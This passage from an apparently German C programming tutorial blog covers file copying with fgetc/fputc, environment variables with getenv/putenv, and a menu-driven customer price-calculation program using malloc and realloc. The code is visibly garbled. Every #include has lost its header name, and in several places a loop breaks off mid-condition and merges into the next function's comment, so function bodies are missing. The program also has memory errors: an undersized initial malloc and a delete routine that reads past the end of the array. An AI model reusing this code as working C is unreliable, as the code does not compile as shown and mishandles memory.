	// w+	-> zum Aktualisieren oeffnen, auf Null-Laenge abschneiden
	// a+	-> zum Aktualisieren oeffnen, am Ende der Datei anhaengen
	//
	// weitere Infos unter: man fopen 
	//
	// fgetc - liefert das naechste Byte als Zeichen aus einem Datei-Stream zurueck,
	// 			die Funktion liefert EOF (End of File) beim Ende der Datei bzw.
	//			bei einem Fehler zurück
	//
	// weitere Infos unter: man fgetc
	//
	// fputc - schreibt ein Zeichen in einen Ausgabe-Datei-Stream
	//
	// weitere Infos unter: man fputc
	//
	// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
	// 
	// Datei "file.in" zum lesen oeffnen
	in = fopen("file.in", "r");
	// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben) 
	out = fopen("file.out", "w");
	// Zeichen fuer Zeichen einlesen (+ interner Puffer in der Struktur FILE) ...
	while((c = fgetc(in)) != EOF) {
		// ... und jedes Zeichen in die neue Datei schreiben
		fputc(c,out);
	}
	exit(0);
}

Test:

rm file.out
time ./copy_system_2

Ausgabe:

./copy_system_2  1,10s user 0,09s system 99% cpu 1,196 total

Hier brauchen wir für 10 MB zirka 1,2 Sekunden, was um einiges schneller ist als das erste Beispiel, wo die Zeichen einzeln kopiert wurden.

C-Programm – Umgebungsvariablen unter Linux

In dem Buch “Linux Programmierung” habe ich ein schönes Beispiel für Umgebungsvariablen unter Linux gefunden, welches ich gerade ein wenig Kommentiert habe… :-)

“Beachten Sie, dass sich die Umgebung nur lokal zum Programm verhält. Änderungen, die innerhalb des Programmes durchgeführt werden, werden nicht nach außen reflektiert, da Variablenwerte nicht vom untergeordneten Prozess (unser Programm) an den übergeordneten Prozess (die Shell) propagiert werden.” – Seite 166

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* argc -> Anzahl Kommandozeilenparameter + Programmnamen (1), somit ist der Wert min. 1 */
 
/* argv -> ist ein Zeiger auf das Feld (Array) mit der in argc angegebene Anzahl von Elementen...
	... und die Elemente (z.B.: argc[0] sind Zeiger auf eine Zeichenkette...
 
	arg[0] -> Programmname
	arg[1] -> 1. Parameter 
	arg[2] -> 2. Parameter
	[...]
	arg[n] -> letzter Parameter
	0L    -> das letzte Element von argv[] einthaelt eine Null
*/
int main(int argc, char *argv[]) {
	char *var, *value;

	// wenn kein oder mehr als 3 Parameter uebergeben wurden, dann ...
	if (argc == 1 || argc > 3) {
			// Fehlermeldung ausgeben und Programm beenden
			fprintf(stderr,"usage: environ var [value]\n");
			exit(1);
	}

	// 1. Parameter in die Variable "var" schreiben
	var = argv[1];
	// mit getenv den Wert der Umgebungsvariablen abrufen 
	// und in die Variable "value" schreiben
	value = getenv(var);
	// wenn value wahr bzw. vorhanden ist, dann ...
	if (value) {
			printf("Variable %s has value %s\n", var, value);
	// ... ansonsten ...
	} else {
			printf("Variable %s has no value\n", var);
	}

	// wenn 2. Parameter uebergeben wurden, dann ...
	if (argc == 3) {
		char *string;
		// 2. Parameter in die Variable "value" schreiben
		value = argv[2];
		// Speicherbereich fuer die Umgebungsvariablen + Wert anlegen
		string = malloc(strlen(var)+strlen(value)+2);
		// wenn string nicht wahr bzw. nicht vorhanden ist, dann ...
		if(!string) {
				// Fehlermeldung ausgeben und Programm beenden
				fprintf(stderr,"out of memory\n");
				exit(1);
		}
		// strcpy - Stringfunktion zum kopieren einer Zeichenkette (string <- var)
		strcpy(string,var);
		// strcat - Stringfunktion zum verketten von Strings (string=) 
		strcat(string,"=");
		// strcat - Stringfunktion zum verketten von Strings (string=value)
		strcat(string,value);
		printf("Calling putenv with: %s\n", string);
		//
		// putenv - Aendert oder setzt eine Umgebungsvariable, gibt -1 bei einem Fehler 
		// und 0 bei keinem Fehler aus 
		//
		// wenn nicht gleich 0 -> wenn ein Fehler aufgetreten ist , dann ...
		if (putenv(string) != 0) {
				// Fehlermeldung ausgeben, Speicher wieder freigeben und Programm beenden
				fprintf(stderr,"putenv failed\n");
				free(string);
				exit(1);
		}

		// den Wert der Umgebungsvariablen in der Variablen "var"
		// in die Variable "value" schreiben
		value = getenv(var);
		// wenn value gleich wahr bzw. gesetzt, dann ...
		if (value) {
				// Umgebungsvariablen + neuen Wert ausgeben
				printf("New value of %s is %s\n", var, value);
		// ... ansonsten ...
		} else {
				// Umgebungsvariablen + ? ausgeben
				printf("New value of %s is null??\n", var);
		}
	}
exit(0);
}

C-Programm – Dynamische Speicherverwaltung

In diesem Beispiel zeigt ich, wie man Speicher dynamisch anlegen bzw. verwalten kann …

/*
============================================================================
Autor          : Lars Moelleken
Datum          : 10.02.2011
Beschreibung   : Preiskalkulation
Version        : 1.0
Compiler       : gcc 4.6.2-12
Programmschnittstelle: int main(void)
Das Programm gibt den Wert 0 oder 1 zurück.
Es werden keine Argumente erwartet.
============================================================================
*/

/*
============================================================================
Praeprozessoranweisungen
============================================================================
*/
#include 
#include 
#include 
#include 
#if defined __linux__
#include 
#elif defined _WIN32 || defined _WIN64
#define false 0
#define true 1
#endif

#define FUNSTAR_PREIS 1243.43
#define FUNSTAR_NAME "Fun Star"
#define HIGHEND_PREIS 1658.50
#define HIGHEND_NAME "High End"
#define MULTIMEDIASTAR_PREIS 698.20
#define MULTIMEDIASTAR_NAME "Multimedia Star"
#define OFFICESTAR_PREIS 1015.39
#define OFFICESTAR_NAME "Office Star"
#define GEHAEUSE_NAME "Gehaeuse"
#define LX100_PREIS 97.05
#define LX100_NAME "Compucase LX100 weiss"
#define LX120_PREIS 68.89
#define LX120_NAME "Compucase LX120 schwarz"
#define LX34A_PREIS 103.60
#define LX34A_NAME "Compucase LX34A weiss"
#define MAINBOARD_PREIS 193.03
#define MAINBOARD_NAME "Mainboard"
#define CPU_PREIS 334.65
#define CPU_NAME "CPU"
#define FESTPLATTEN_PREIS 130.95
#define FESTPLATTEN_NAME "Festplatte"
#define GRAFIKKARTEN_PREIS 319.13
#define GRAFIKKARTEN_NAME "Grafikkarte"

// die Struktur existiert nach der Deklaration als neuer Datentyp
// per typedef kann ein Synonym fuer die Strucktur erstellt werden 
typedef struct 
{
   char *pcKundenname, *pcProduktname;
   int iKundenNr, iProduktanzahl, iLieferung, iMontage;
   double dPreis;
} kunden;

/*
============================================================================
Funktionsprototypen
============================================================================
*/
// neuer Datentyp "kunden" wird hier direkt verwendent
kunden* datenEinlesen(kunden *s,int *iAnzahl, char *pcKundenname, 
   char *pcProduktname, int iKundenNr, int iProduktanzahl,
   int iLieferung,int iMontage,double dPreis);
int cls(void);
int new_fflush(void);
int InArray(int x, int iArray[], int iSize);
int loeschen(kunden *s, int *iAnzahl, int i);
double berechnungPreis(double dInputPreis, int iLieferung,
   int iMontage, int iAusgabe);
int ausgabeWarenkorb(kunden *s, int iAnzahl);
int ausgabeGesamtpreis(kunden *s, int iAnzahl);
int sucheNachKundenNr(kunden *s, int iAnzahl, int iKundenNr);
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname);
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr);
int readProduktanzahl(void);
int readMontage(void);
int readLieferung(void);
int readKundenNr(void);
int printMenu(void);
int printMenuStandard(void);
int printMenuEinzel(void);
int printMenuGehaeuse(void);

/*
============================================================================
Funktion main() - Hauptfunktion
============================================================================
*/
int main(void)
/*
Rückgabewert:    0 ==> alles OK
                 1 ==> es ist ein Fehler aufgetreten
Es werden keine Argumente übergeben!
*/
{
   char cNamePuffer[100], cProduktPuffer[100], cInput;
   int iAnzahl=0, i, iKundenNr, inputStandard, auswahl, iProduktanzahl, 
      iShowMenu=true, iLieferung=false, iMontage=false;
   double dPreis;
 
   // Zeiger auf einen Eintrag definieren 
   kunden *s;
   // neuen Speicherbereich fuer die Struktur "kunden" anlegen
   s = (kunden*) malloc(sizeof(iAnzahl));
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s == NULL)
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
 
   // solange bis '0' eingegeben wird ...
   do 
   {
      if (iShowMenu == 1) 
      {
         cls();
         // Ausgabe vom Warenkorb
         ausgabeGesamtpreis(s,iAnzahl);
         // Ausgabe vom Menue
         printMenu();
      }  
      // Eingabe
      scanf("%c", &cInput);
      new_fflush();
      // Auswahl zur Eingabe 
      switch (cInput) 
      {
         // Einlesen
         case 'a': case 'A':
            iShowMenu=false;
            // i = 1 => true
            i = 1;
            // solange i = true ...
            while (i == true)
            {
               do
               {
                  cls();
                  // Ausgabe vom Warenkorb
                  ausgabeGesamtpreis(s,iAnzahl);
                  // Ausgabe vom MenueStadard
                  printMenuStandard();
                  scanf("%d", &inputStandard);
                  new_fflush();
               } 
               while (inputStandard != 0 && 
               		 inputStandard != 1 && 
               		 inputStandard != 2 && 
               		 inputStandard != 3 && 
               		 inputStandard != 4);
               // Auswahl zur Eingabe 
               switch (inputStandard) 
               {
                  case 1:
                     dPreis=FUNSTAR_PREIS;
                     strncpy(cProduktPuffer,FUNSTAR_NAME,
                     		 strlen(FUNSTAR_NAME) +1);
                     break;
                  case 2:
                     dPreis=HIGHEND_PREIS;
                     strncpy(cProduktPuffer,HIGHEND_NAME,
                     		 strlen(HIGHEND_NAME) +1);
                     break;
                  case 3:
                     dPreis=MULTIMEDIASTAR_PREIS;
                     strncpy(cProduktPuffer,MULTIMEDIASTAR_NAME,
                     		 strlen(MULTIMEDIASTAR_NAME) +1);
                     break;
                  case 4:
                     dPreis=OFFICESTAR_PREIS;
                     strncpy(cProduktPuffer,OFFICESTAR_NAME,
                     		 strlen(OFFICESTAR_NAME) +1);
                     break;
                  default:
                     dPreis=0;
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                     break;
               }
               if (dPreis != 0)
               {
                  iKundenNr=readKundenNr();
                  strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
                  iProduktanzahl=readProduktanzahl();
                  iLieferung=readLieferung();

                  cls();
                  berechnungPreis(dPreis, iLieferung, iMontage, 1);

                  printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput == 'j') 
                  {
                     // Speicher wird per Funktion (datenEinlesen) erstellt
                     s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
                     		 iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);

                     printf("\n**Eintrag gespeichert**\n");
                     printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
                  }
                  else
                  {
                     printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
                  }

                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput != 'j') 
                  {
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                  }
                  else
                  {
                     cls();
                     iShowMenu=false;
                  }
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Einlesen
         case 'b': case 'B':
            cls();
            iShowMenu=false;
            // i = 1 => true
            i = true;
            // solange i==true ...
            while (i == true)
            {
               do
               {
                  cls();
                  // Ausgabe vom Warenkorb
                  ausgabeGesamtpreis(s,iAnzahl);
                  // Ausgabe vom MenueStadard
                  printMenuEinzel();
                  scanf("%d", &inputStandard);
                  new_fflush();
               } 
               while (inputStandard != 0 && 
               		 inputStandard != 1 && 
               		 inputStandard != 2 && 
               		 inputStandard != 3 && 
               		 inputStandard != 4 && 
               		 inputStandard != 5);
               // Auswahl zur Eingabe 
               switch (inputStandard) 
               {
                  case 1:
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     do
                     {
                        cls();
                        // Ausgabe vom Warenkorb
                        ausgabeGesamtpreis(s,iAnzahl);
                        // Ausgabe vom MenueStadard
                        printMenuGehaeuse();
                        scanf("%d", &inputStandard);
                        new_fflush();
                     } 
                     while (inputStandard != 0 && 
                     		 inputStandard != 1 && 
                     		 inputStandard != 2 && 
                     		 inputStandard != 3);
                     // Auswahl zur Eingabe 
                     switch (inputStandard)
                     {
                        case 1:
                           dPreis=LX100_PREIS;
                           strncpy(cProduktPuffer,LX100_NAME,
                           		 strlen(LX100_NAME) +1);
                           break;
                        case 2:
                           dPreis=LX120_PREIS;
                           strncpy(cProduktPuffer,LX120_NAME,
                           		 strlen(LX120_NAME) +1);
                           break;
                        case 3:
                           dPreis=LX34A_PREIS;
                           strncpy(cProduktPuffer,LX34A_NAME,
                           		 strlen(LX34A_NAME) +1);
                           break;
                        default:
                           dPreis=0;
                           // i = 0 => false => while-Schleife wird verlassen
                           i=false;
                           cls();
                           iShowMenu=true;
                           break;
                     }
                     break;
                  case 2:
                     dPreis=MAINBOARD_PREIS;
                     strncpy(cProduktPuffer,MAINBOARD_NAME,
                     		 strlen(MAINBOARD_NAME) +1);
                     break;
                  case 3:
                     dPreis=CPU_PREIS;
                     strncpy(cProduktPuffer,CPU_NAME,
                     		 strlen(CPU_NAME) +1);
                     break;
                  case 4:
                     dPreis=FESTPLATTEN_PREIS;
                     strncpy(cProduktPuffer,FESTPLATTEN_NAME,
                     		 strlen(FESTPLATTEN_NAME) +1);
                     break;
                  case 5:
                     dPreis=GRAFIKKARTEN_PREIS;
                     strncpy(cProduktPuffer,GRAFIKKARTEN_NAME,
                     		 strlen(GRAFIKKARTEN_NAME) +1);
                     break;
                  default:
                     dPreis=0;
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                     break;
               }
               if (dPreis != 0)
               {
                  iKundenNr=readKundenNr();
                  strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
                  iProduktanzahl=readProduktanzahl();
                  iLieferung=readLieferung();
                  iMontage=readMontage();
 
                  cls();
                  berechnungPreis(dPreis, iLieferung, iMontage, 1);

                  printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput == 'j') 
                  {
                     // Speicher wird per Funktion (datenEinlesen) erstellt
                     s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
                     		 iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);

                     printf("\n**Eintrag gespeichert**\n");
                     printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
                  }
                  else
                  {
                     printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
                  }

                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");

                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput != 'j') 
                  {
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                  }
                  else
                  {
                     cls();
                     iShowMenu=false;
                  }
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Ausgabe
          case 'c': case 'C':
            cls();
            iShowMenu=false;
            // wenn Anzahl gleich 0, dann ...
            if (iAnzahl==0) 
            {
               printf("\n\n**Kein Eintrag gefunden**\n\n");
            } 
            else 
            {
               ausgabeWarenkorb(s,iAnzahl);
            }
            printf("\ndrueke 'Enter' um fortzufahren: ...\n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Nach Kunden-Namen suchen
         case 'd': case 'D':
            cls();
            iShowMenu=false;
            printf("Suchen (Kunden-Name): ");
            // Einlesen von cNamePuffer (pcKundenname)
            scanf("%99s", cNamePuffer);
            new_fflush();
            // Funktion wird aufgerufen 
            sucheNachName(s,iAnzahl,cNamePuffer);
            printf("\ndrueke 'Enter' um fortzufahren: ...\n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Nach Kunden-Nr. suchen
         case 'e': case 'E':
            cls();
            iShowMenu=false;
            printf("Suchen (Kunden-Nr.): ");
            // Einlesen von iKundenNr
            scanf("%d",&iKundenNr);
            new_fflush();
            // Funktion wird aufgerufen 
            sucheNachKundenNr(s,iAnzahl,iKundenNr);
            printf("\ndrueke 'Enter' um fortzufahren: ... \n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Einen Eintrag löschen
         case 'f': case 'F':
            cls();
            iShowMenu=false;
            printf("Loeschen: ");
            i=true;
            while (i == true) 
            {
               if (iAnzahl != 0) 
               {
                  for (i=0; i != iAnzahl; i++) 
                  {
                     printf("\n\t---------------------------------------");
                     printf("\n\tIndex: %d -> Kunde: %s (%d)", i, 
                     		 s[i].pcKundenname, s[i].iKundenNr);
                     printf("\n\t---------------------------------------");
                  }
                  printf("\n\nIndex angeben: ");
                  scanf("%d",&auswahl);
                  new_fflush();
                  if (auswahl < 0 || auswahl >= iAnzahl) 
                  {
                     cls();
                     printf("\nungueltige Eingabe\n\n");
                  } 
                  else 
                  {
                     printf("\n\tEintrag wirklich loeschen? ('j' fuer ja) ");
                     // Einlesen von cInput
                     scanf("%c", &cInput);
                     new_fflush();
                     printf("\n\n");

                     // wenn Eingabe gleich j ist, dann ...
                     if (cInput == 'j') 
                     {
                        loeschen(s,&iAnzahl,auswahl);
                        i=false;
                           printf("\n\n**Eintrag geloescht !**\n\n");
                     }
                     else
                     {
                        // i = 0 => false => while-Schleife wird verlassen
                        i=false;
                        iShowMenu=true;
                     }

                  }
               } 
               else 
               {
                  i=false;
                  printf("\n\n**Kein Eintrag gefunden**\n\n");
               }
               printf("\ndrueke 'Enter' um fortzufahren: ... \n");
               if (getchar() == '\n')
               {
                  cls();
                  iShowMenu=true;
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Speicher wieder freigeben (free)
         case 'x': case 'X':
            for (i=0; i != iAnzahl; i++) 
            {
               // "free" gibt den Speicher wieder frei
               free(s[i].pcKundenname);
            }
            // testing
            //free(s);
            // Alternative schreibweise:
            // realloc(s,0);
            // beendet eine Schleife bzw. eine case-Anweisung
            break;
         // Standard 
         default:
            iShowMenu=true;
            break;
      }
   // solange in der Schleife bleiben, bis 0 eingegeben wird 
   } 
   while (cInput != 'x' && cInput != 'X');
 
   return 0;
}

/*
============================================================================
Funktion datenEinlesen() - der Speicher wird bereitgestellt und die Eingaben 
               an die Strucktur uebergeben
============================================================================
*/
kunden* datenEinlesen(kunden *s, int *iAnzahl, char *pcKundenname,
   char *pcProduktname, int iKundenNr, int iProduktanzahl,
   int iLieferung, int iMontage, double dPreis)
/*
Rückgabewert:    s ==> neuen Speicherbereich
Argumente:    *s ==> Zeiger auf den neuen Speicherbereich
      *iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
      *pcKundenname ==> Zeiger auf den Kunden-Namen
      *pcProduktname ==> Zeiger auf den Produkt-Namen 
      iKundenNr ==> Kunden-Nr.
      iProduktanzahl ==> Anzahl vom bestellten Produkten
      iLieferung ==> Lieferung (1=ja || 0=nein)
      iMontage ==> Montage (1=ja || 0=nein)
      dPreis ==> Preis pro Produkt
*/
{
   //
   // realloc() -    kann Speicherplatz von einem bereits zugeteilten 
   //      Blocks vergroeßern oder verkleinern, dazu wird ein 
   //      Zeiger auf die Anfangsadresse des neu reservierten 
   //      Speicherblocks gesetzt, dabei bleibt der Inhalt des 
   //      urspruenglichen Speicherblocks erhalten und der neue 
   //      Speicherblock wird hinten angefuegt
   //
   // Speicherbereich wird vergroeßert
   s=(kunden*)realloc(s,sizeof(kunden)*(*iAnzahl +1));
   //
   // strlen -    gibt die Anzahl der Zeichen eines Strings 
   //      ohne das Null-Zeichen zurueck
   // strcpy -    Stringfunktion zum kopieren einer Zeichenkette       
   //
   // malloc() -    reserviert genau so viel zusammenhaengenden Speicher, 
   //      wie angegeben wird, zurueckgegeben wird ein typenloser 
   //      Zeiger auf void mit der Anfangsadresse des 
   //      Speicherbereichs
   //
   // z.B.: 
   // Speicher fuer 100 int-Elemente reservieren 
   // ptr = malloc(100 * sizeof(int));
   // ...
   // Speicher auf 50 int-Elemente verkleinern 
   // ptr = realloc(ptr, 50 * sizeof(int));
   // ...
   // Speicher von 256 auf 512 int-Elemente vergroeßern 
   // int block = 256;
   // ptr = malloc(block * sizeof(int));
   // block += block;
   // ptr = reallloc(ptr, block * sizeof(int));
   //
   // neuen Speicherbereich fuer einen neuen Namen anlegen
   // +1 wegen \0 -> am Ende vom String
   s[*iAnzahl].pcKundenname=(char*) malloc(strlen(pcKundenname) +1); 
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s[*iAnzahl].pcKundenname == NULL) 
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
   // der Strucktur (kunden) wird die Variable "pcKundenname" hinzugefuegt 
   strncpy(s[*iAnzahl].pcKundenname,pcKundenname,strlen(pcKundenname) +1);
   // der Strucktur (kunden) wird die Variable "iKundenNr" hinzugefuegt
   s[*iAnzahl].iKundenNr=iKundenNr;
   // neuen Speicherbereich fuer einen neuen Produktnamen anlegen
   // +1 wegen \0 -> am Ende vom String
   s[*iAnzahl].pcProduktname=(char*) malloc(strlen(pcProduktname) +1);
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s[*iAnzahl].pcProduktname == NULL) 
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
   // der Strucktur (kunden) wird die Variable "pcProduktname" hinzugefuegt 
   strncpy(s[*iAnzahl].pcProduktname,pcProduktname,strlen(pcProduktname) +1);
   // der Strucktur (kunden) wird die Variable "iProduktanzahl" hinzugefuegt   
   s[*iAnzahl].iProduktanzahl=iProduktanzahl; 
   // der Strucktur (kunden) wird die Variable "iLieferung" hinzugefuegt   
   s[*iAnzahl].iLieferung=iLieferung;
   // der Strucktur (kunden) wird die Variable "iMontage" hinzugefuegt   
   s[*iAnzahl].iMontage=iMontage;
   // der Strucktur (kunden) wird die Variable "dPreis" hinzugefuegt 
   s[*iAnzahl].dPreis=dPreis;
   // die Anzahl der Kunden um 1 erhoehen
   ++*iAnzahl;
   return s;
}

/*
============================================================================
Funktion cls() - clear
============================================================================
*/
int cls(void)
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
   printf("\033[2J");
#elif defined _WIN32 || defined _WIN64
   system("cls");
#endif
   return 0;
}

/*
============================================================================
Funktion new_fflush() - fflush(stdin) for Linux and Windows
============================================================================
*/
int new_fflush(void)
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
   int ch;
   while ((ch = getchar()) != '\n' && ch != EOF);                  
#elif defined _WIN32 || defined _WIN64
   fflush(stdin);
#endif
   return 0; 
}

/*
============================================================================
Funktion InArray() - check if 'x' in the 'iArray'
============================================================================
*/
int InArray(int x, int iArray[], int iSize)
/*
Rückgabewert:    inArray ==> is in Array or not ;)
Argumente:   x ==> checking 'x'
      iArray[] ==> in this iArray
      iSize ==> iSize of the iArray
*/
{
   // default is "false"
   int inArray=false;
   int i;
   for (i=0; i alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      *iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
      i ==> Auswahl des Indexes 
*/
{
   // solange Index nicht Anzahl ist ...
   for (i; i != *iAnzahl; i++) 
   {
      // Strucktur-Eintraege um 1 erhoehen
      s[i].pcKundenname=s[i+1].pcKundenname;
      s[i].iKundenNr=s[i+1].iKundenNr;
      s[i].pcProduktname=s[i+1].pcProduktname;
      s[i].iProduktanzahl=s[i+1].iProduktanzahl;
      s[i].iLieferung=s[i+1].iLieferung;
      s[i].iMontage=s[i+1].iMontage;
      s[i].dPreis=s[i+1].dPreis;
   }
   // Anzahl -1 
   --*iAnzahl;
   // Speicherbereich wird verkleinert
   s=(kunden*) realloc(s,sizeof(kunden) * (*iAnzahl));
   return 0;
}

// Funktion: berechnungPreis
double berechnungPreis(double dInputPreis, int iLieferung,
		int iMontage, int iAusgabe)
{
   // Ausgabe ...
   if (iAusgabe == 1) 
   {
      printf("\n\n\tListenpreis pro Artikel:\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Lagerkosten:\t\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis  * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tMaterialkosten:\t\t\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Verwaltungskosten:\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tSelbstkosten:\t\t\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Gewinn:\t\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tBarverkaufspreis:\t\t%7.2lf", dInputPreis);
   }
   if (iLieferung == 1)
   {
      if (iAusgabe == 1) 
      {
         printf("\n\t\t+ Versand:\t\t%7.2lf", dInputPreis * 0.05);
      }
      dInputPreis = dInputPreis + (dInputPreis * 0.05);
      if (iAusgabe == 1) 
      {
         printf("\n\t---------------------------------------");
         printf("\n\tVersandpreis:\t\t\t%7.2lf", dInputPreis);
      }
   }
   if (iMontage == 1)
   {
      if (iAusgabe == 1) 
      {
         printf("\n\t\t+ Montage:\t\t%.2lf", dInputPreis * 0.15);
      }
      dInputPreis = dInputPreis + (dInputPreis * 0.15);
      if (iAusgabe == 1) 
      {
         printf("\n\t---------------------------------------");
         printf("\n\tHerstellungskosten:\t\t%7.2lf", dInputPreis);
      }
   }
   return dInputPreis;
}

/*
============================================================================
Funktion ausgabeWarenkorb() - Warenkorb ausgeben
============================================================================
*/
int ausgabeWarenkorb(kunden *s, int iAnzahl) 
/*
Rückgabewert:    0 ==> alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
*/
{
   int i, iArray[100];
   double gesamtpreis[100], dPreis[100];
   printf("\nWarenkorb (Einzelpreise):\n");
   // von 0 bis Anzahl ...
   for (i=0; i alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
*/
{
   int i;
   double gesamtpreis=0, dPreis[32];
   // von 0 bis Anzahl ...
   for (i=0; i alles OK
      1 ==> es ist ein Fehler aufgetreten
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      iKundenNr ==> Kunden-Nr.
*/
{
   int i,x=false;
   double dPreis[100];
   // von 0 bis Anzahl ...
   for (i=0;i != iAnzahl; i++) 
   {
      // wenn der Eintrag gleich dem Suchbegriff ist ...
      if (s[i].iKundenNr==iKundenNr) 
      {
         dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
         		 s[i].iMontage, 0);
         dPreis[i] = dPreis[i] * s[i].iProduktanzahl;
         printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
         		 "Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
         		 s[i].pcProduktname,dPreis[i]);
         // x=1 -> Eintrag gefunden
         x=true;
      }
   }
   // wenn Eintrag nicht gefunden wurde, dann ...
   if (x==false) 
   {
      printf("\n\n**Kein Eintrag gefunden**\n\n");
      return 1;
   }
   else
   {
      return 0;
   }
}

/*
============================================================================
Funktion sucheNachName() - Infos ueber eine bestimmten Kunden-Namen
============================================================================
*/
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname)
/*
Rückgabewert:    0 ==> alles OK
      1 ==> es ist ein Fehler aufgetreten
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      *pcKundenname ==> Kunden-Name
*/
{
   int i,x=false;
   double dPreis[100];
   // von 0 bis Anzahl ...
   for (i=0;i != iAnzahl;i++) 
   {
      // Vergleich (strcmp) von char-Arrays bzw. String
      if ( !strcmp(pcKundenname,s[i].pcKundenname) ) 
      {
         dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
         		 s[i].iMontage, 0);
         printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
         		 "Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
         		 s[i].pcProduktname,dPreis[i]);
         // x=1 -> Eintrag gefunden
         x=true;
      }
   }
   // wenn Eintrag nicht gefunden wurde, dann ...
   if (x==false) 
   {
      printf("\n\n**Kein Eintrag gefunden**\n\n");
      return 1;
   }
   else
   {
      return 0;
   }
}

/*
============================================================================
Funktion readKundenName() - scanf with check
============================================================================
*/
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr)
/*
Rückgabewert:    cNamePuffer ==> Kunden-Name
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      iKundenNr ==> Kunden-Nr.
*/
{
   int check=true, i;
   static char cNamePuffer[100];
   if (iAnzahl != 0) 
   {
      for (i=0; i != iAnzahl; i++) 
      {
         if (s[i].iKundenNr == iKundenNr)
         {
            strncpy(cNamePuffer,s[i].pcKundenname,
            		strlen(s[i].pcKundenname) +1);
            check=false;
         }
      }
   }
   if (check==true)
   {
      do 
      {
         printf("\tKunde (Name): ");
         // Einlesen von cNamePuffer (pcKundenname)
         scanf("%99s", cNamePuffer);
         new_fflush();
         if (!isalpha(cNamePuffer[0]))
         {
